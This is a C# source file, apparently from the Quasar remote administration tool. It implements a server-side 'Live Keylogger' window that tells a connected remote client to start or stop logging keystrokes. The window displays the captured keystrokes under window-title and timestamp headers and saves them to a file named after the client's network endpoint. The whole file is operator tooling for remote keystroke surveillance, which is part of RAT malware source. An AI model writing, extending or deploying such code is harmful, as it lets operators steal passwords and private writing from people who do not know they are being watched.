using Quasar.Common.Messages;
using Quasar.Server.Networking;
using System;
using System.IO;
using System.Text;
using System.Windows.Forms;

namespace Quasar.Server.Forms
{
    public partial class FrmLiveKeylogger : Form
    {
        private readonly Client _client;
        private string _currentWindow = "";
        private readonly StringBuilder _logBuffer = new StringBuilder();

        public FrmLiveKeylogger(Client client)
        {
            _client = client;
            InitializeComponent();
            
            this.Text = $"Live Keylogger - {client.EndPoint}";
            _client.ClientState += OnClientStateChange;
        }

        private void OnClientStateChange(Client client, bool connected)
        {
            if (!connected && client == _client)
            {
                this.Invoke((MethodInvoker)delegate
                {
                    this.Close();
                });
            }
        }

        public void AddKeystroke(string windowTitle, string keystroke)
        {
            if (this.InvokeRequired)
            {
                this.Invoke(new Action(() => AddKeystroke(windowTitle, keystroke)));
                return;
            }

            if (_currentWindow != windowTitle)
            {
                _currentWindow = windowTitle;
                string header = $"\r\n\r\n### {windowTitle} - {DateTime.Now:yyyy-MM-dd HH:mm:ss} ###\r\n";
                txtKeystrokes.AppendText(header);
                _logBuffer.Append(header);
            }

            txtKeystrokes.AppendText(keystroke);
            _logBuffer.Append(keystroke);
        }

        private void btnStart_Click(object sender, EventArgs e)
        {
            _client.Send(new DoStartLiveKeylogger());
            btnStart.Enabled = false;
            btnStop.Enabled = true;
            lblStatus.Text = "Status: Recording...";
            lblStatus.ForeColor = System.Drawing.Color.Green;
        }

        private void btnStop_Click(object sender, EventArgs e)
        {
            _client.Send(new DoStopLiveKeylogger());
            btnStart.Enabled = true;
            btnStop.Enabled = false;
            lblStatus.Text = "Status: Stopped";
            lblStatus.ForeColor = System.Drawing.Color.Red;
        }


        private void btnSave_Click(object sender, EventArgs e)
        {
            using (SaveFileDialog sfd = new SaveFileDialog())
            {
                sfd.Filter = "Text Files (*.txt)|*.txt|All Files (*.*)|*.*";
                sfd.FileName = $"Keylog_{_client.EndPoint}_{DateTime.Now:yyyyMMdd_HHmmss}.txt";
                
                if (sfd.ShowDialog() == DialogResult.OK)
                {
                    try
                    {
                        File.WriteAllText(sfd.FileName, _logBuffer.ToString());
                        MessageBox.Show($"Keylog saved successfully to:\n{sfd.FileName}", 
                            "Save Successful", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show($"Error saving file: {ex.Message}", 
                            "Save Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                }
            }
        }

        private void btnClear_Click(object sender, EventArgs e)
        {
            var result = MessageBox.Show("Are you sure you want to clear all keystrokes?", 
                "Confirm Clear", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
            
            if (result == DialogResult.Yes)
            {
                txtKeystrokes.Clear();
                _logBuffer.Clear();
                _currentWindow = "";
            }
        }

        private void FrmLiveKeylogger_FormClosing(object sender, FormClosingEventArgs e)
        {
            if (btnStop.Enabled)
            {
                _client.Send(new DoStopLiveKeylogger());
            }
            _client.ClientState -= OnClientStateChange;
        }

        protected override void Dispose(bool disposing)
        {
            if (disposing)
            {
                _client.ClientState -= OnClientStateChange;
            }
            base.Dispose(disposing);
        }
    }
}
